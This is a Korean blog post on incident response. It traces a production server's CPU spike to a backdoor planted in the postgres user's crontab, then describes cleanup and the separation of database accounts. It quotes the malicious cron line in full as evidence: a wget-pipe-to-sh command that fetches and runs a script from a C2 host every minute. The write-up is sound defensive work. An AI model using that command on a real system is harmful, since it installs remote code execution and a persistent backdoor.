운영 서버 CPU가 100%까지 치솟아 응답이 멈췄다. 처음에는 새로 추가한 시스템 메트릭 샘플러를 의심했으나, 최종 원인은 postgres OS 유저 crontab에 심어진 악성 wget | sh 스크립트였다. cron 제거 후 API DB 접속을 postgres 슈퍼유저에서 [앱DB계정] 전용 계정으로 분리해 재발 가능성을 줄였다.
증상
- 평소 CPU 약 14% 유지
- 특정 새벽 02:30 전후 CPU 100% → 서버 응답 불가
- [API프로세스] 재시작·재부팅 후에도 부하 지속 (cron 미삭제 시)
- 동시에 시스템 메트릭 테이블 10초 INSERT 로그가 syslog에 대량 기록됨 → 처음엔 메트릭 기능이 원인으로 의심됨
어떻게 좁혔나
1) 메트릭 샘플러 의심 (오탐)
- SystemMetricsManager가 10초마다 CPU/MEM/DISK 측정 후 DB INSERT
- Node 14 환경에서 디스크 측정 시 execSync('df') 동기 실행 → 이벤트 루프 부담 가능
- setInterval이 이전 샘플 완료를 기다리지 않아 중복 실행 위험도 있음
- 로그 타임라인상 악성 cron이 먼저(또는 동시에) 존재했고, 메트릭만으로 100%를 설명하기 어려움
2) 결정적 증거 — crontab 확인
sudo crontab -u postgres -l
* * * * * wget -q -O - http://[악성C2_IP]/pg.sh | sh > /dev/null 2>&1
- 매 1분 외부 IP에서 스크립트 다운로드 후 즉시 실행
- postgres OS 유저 crontab → DB/서버 침해 후 백도어 패턴
- wget이 응답 지연 시 프로세스가 쌓임 → CPU·프로세스 한도 고갈
3) 타임라인
| 시각 (서버 로그) | 내용 |
| 전날 06:26~ | 악성 cron 최초 확인 (이후 매분 실행) |
| 당일 02:25~ | cron + 시스템 부하 급증 |
| 당일 02:30 | CPU 100% · 서버 멈춤 |
| 당일 03:11 | 재부팅 |
| 당일 03:23~ | SSH 접속 → cron 발견·삭제 |
4) 기타 검증 결과
| 항목 | 결과 |
| SSH 성공 로그 (침해 당일) | 관리자 IP 외 없음 |
| 5432 포트 리슨 | 외부 리슨 없음 (로컬 소켓만) |
| PostgreSQL COPY FROM PROGRAM 로그 | 없음 |
| 다른 악성 IP | [악성C2_IP]만 확인 |
| 침입 경로 | 로그상 확정 불가 (과거 5432 노출·DB superuser 등 가능성) |
원인
직접 원인
postgres OS 유저 crontab에 등록된 악성 스크립트다. C2 [악성C2_IP]에서 pg.sh를 받아 매분 실행했다.
부차 요인
- wget 프로세스 누적 (응답 지연 시 프로세스가 남음)
- 시스템 메트릭 10초 INSERT (부하 가중 요인, 주원인 아님)
메트릭이 주원인이 아닌 근거
- 악성 cron 로그가 메트릭과 동시·선행 존재
- cron 삭제가 CPU 문제 해결의 핵심이었다
해결
1) 침해 즉시 대응
# 악성 cron 삭제
sudo crontab -u postgres -r
# 악성 프로세스 종료
sudo pkill -u postgres -f "[악성C2_IP]"
재발 확인 (1~2일):
sudo crontab -u postgres -l
ps aux | grep [악성C2_IP]
- crontab -l → no crontab for postgres 확인
- ps → 해당 IP 관련 프로세스 없음 확인
추가 조치:
- postgres DB·API db_config.json·관리자 키 비밀번호 교체
- SSH 22번 → 관리자 IP만 허용 (보안 그룹)
- (권장) cron만 지운 서버는 완전 복구가 어렵다 — 새 EC2 이전 검토
2) DB 계정 분리
API가 postgres 슈퍼유저로 붙으면 SQL 악용 시 COPY FROM PROGRAM 등으로 OS 명령·cron 심기가 가능하다. 이번 악성 cron도 postgres OS 유저에 설치되었다.
| 계정 | 역할 | 용도 |
| postgres | 슈퍼유저 | 마이그레이션·DDL SQL 수동 실행만 |
| [앱DB계정] | 앱 전용 | API 런타임 — DML만 |
막는 것: API 경유 superuser 기능 악용, 앱 DB 비밀번호 유출 시 피해를 데이터 조작 수준으로 축소
못 막는 것: SSH 침해, API RCE, 이미 심어진 백도어, postgres 슈퍼유저 비밀번호 직접 유출
운영 서버는 host 127.0.0.1이다. 로컬 개발 PC에서 원격 DB에 접속할 때는 pg_hba.conf에 본인 IP와 [앱DB계정] 허용 줄을 추가한다.
host [DB명] [앱DB계정] [개발PC_IP]/32 md5
sudo systemctl reload postgresql
이후 테이블 추가 시 DDL SQL은 postgres로 실행하고, ALTER DEFAULT PRIVILEGES로 이후 테이블은 자동 권한이 부여된다.
3) 메트릭 샘플러 후속 개선 (선택)
침해와 무관하지만 Node 14 운영 환경 부하 완화를 권장한다.
- 샘플 간격 10초 → 60초
- recordSample 중복 실행 방지
- execSync('df') 제거
- purge를 샘플링 루프에서 분리
정리
- CPU 급증 시 애플리케이션 로그만 보면 오탐할 수 있다 — crontab, syslog, ps를 먼저 본다.
- wget | sh 형태 cron은 악성일 가능성이 높다. 정상 PostgreSQL/Ubuntu 기본 작업이 아니다.
- API가 DB superuser면 침해 시 피해가 서버 전체로 확대된다 — 앱 전용 계정 분리가 필요하다.
- 계정 분리만으로 모든 침해를 막지는 못한다 — OS·네트워크·비밀번호 조치를 함께 한다.
참고
- 환경: Ubuntu 18.04 · AWS EC2 · Node 14 · PostgreSQL 14
- wget | sh cron은 C2 서버에서 스크립트를 받아 실행하는 전형적인 백도어 패턴이다.
- 악성 C2 IP [악성C2_IP]는 방화벽 차단·모니터링 대상으로 둔다.
'Record > Trubble Shooting' 카테고리의 다른 글
| Windows Cursor 터미널 한글 깨짐, PowerShell 프로필로 해결하는 방법 (0) | 2026.06.21 |
|---|---|
| 싱글톤 Bean 공유 상태로 동시 Ajax 응답이 섞인 사례 (0) | 2026.06.16 |
| 외부망에서만 API가 Empty Response로 끊긴 사례 해결 (0) | 2026.06.16 |
| [Trouble Shooting] 지도 포함 리포트 이미지 삽입 문제 해결 (0) | 2026.02.18 |
| IIS API 요청 실패 및 DB 연결 문제 해결 (0) | 2025.01.26 |